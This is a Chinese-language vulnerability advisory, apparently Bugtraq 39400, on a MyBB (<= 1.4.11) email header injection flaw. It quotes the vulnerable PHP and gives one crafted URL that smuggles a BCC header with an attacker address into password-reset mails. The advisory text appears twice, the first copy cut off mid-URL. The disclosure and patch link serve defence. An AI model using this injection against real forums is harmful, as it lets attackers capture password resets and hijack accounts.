BUGTRAQ ID: 39400 MyBB是一款流行的Web论坛程序。 MyBB的口令重置实现中存在邮件注入漏洞,远程攻击者可以通过简单的URL控制就可以向BCC:邮件头中注入代码,将保密的口令重置邮件发送到BCC: 头所指向的邮箱。 在MailHandler类的set_common_header()方式中,以下代码负责向所有发出的邮件(包括口令重置邮件)中添加一些常用的头: $this->headers .= "Message-ID: <{$msg_id}>{$this->delimiter}"; $this->headers .= "Content-Transfer-Encoding: 8bit{$this->delimiter}"; $this->headers .= "X-Priority: 3{$this->delimiter}"; $this->headers .= "X-MSMail-Priority: Normal{$this->delimiter}"; $this->headers .= "X-Mailer: MyBB{$this->delimiter}"; if(defined("IN_ADMINCP")) { ... } $this->headers .= "X-MyBB-Script: {$http_host}{$_SERVER['PHP_SELF']}{$this->delimiter}"; $this->headers .= "MIME-Version: 1.0{$this->delimiter}"; 上述代码向邮件中所添加的X-MyBB-Script头中包含有$_SERVER['PHP_SELF']变量的内容。PHP_SELF不但包含有文档根目录相关的路径,还包括有Apache PATH_INFO等扩展名,因此可以被恶意用户控制。通过调用以下MyBB PHP脚本: attacker@example.com%0ax:"...
BUGTRAQ ID: 39400 MyBB是一款流行的Web论坛程序。 MyBB的口令重置实现中存在邮件注入漏洞,远程攻击者可以通过简单的URL控制就可以向BCC:邮件头中注入代码,将保密的口令重置邮件发送到BCC: 头所指向的邮箱。 在MailHandler类的set_common_header()方式中,以下代码负责向所有发出的邮件(包括口令重置邮件)中添加一些常用的头: $this->headers .= "Message-ID: <{$msg_id}>{$this->delimiter}"; $this->headers .= "Content-Transfer-Encoding: 8bit{$this->delimiter}"; $this->headers .= "X-Priority: 3{$this->delimiter}"; $this->headers .= "X-MSMail-Priority: Normal{$this->delimiter}"; $this->headers .= "X-Mailer: MyBB{$this->delimiter}"; if(defined("IN_ADMINCP")) { ... } $this->headers .= "X-MyBB-Script: {$http_host}{$_SERVER['PHP_SELF']}{$this->delimiter}"; $this->headers .= "MIME-Version: 1.0{$this->delimiter}"; 上述代码向邮件中所添加的X-MyBB-Script头中包含有$_SERVER['PHP_SELF']变量的内容。PHP_SELF不但包含有文档根目录相关的路径,还包括有Apache PATH_INFO等扩展名,因此可以被恶意用户控制。通过调用以下MyBB PHP脚本: attacker@example.com%0ax:" target="_blank">http://example.com/MyBB/index.php/%0aBCC:attacker@example.com%0ax: 就可以向这个脚本所发送的所有邮件添加任意BCC头。 MyBB <= 1.4.11 厂商补丁: MyBB ---- 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: http://blog.mybboard.net/2010/04/13/mybb-1-4-12-released-security-maintenance-update/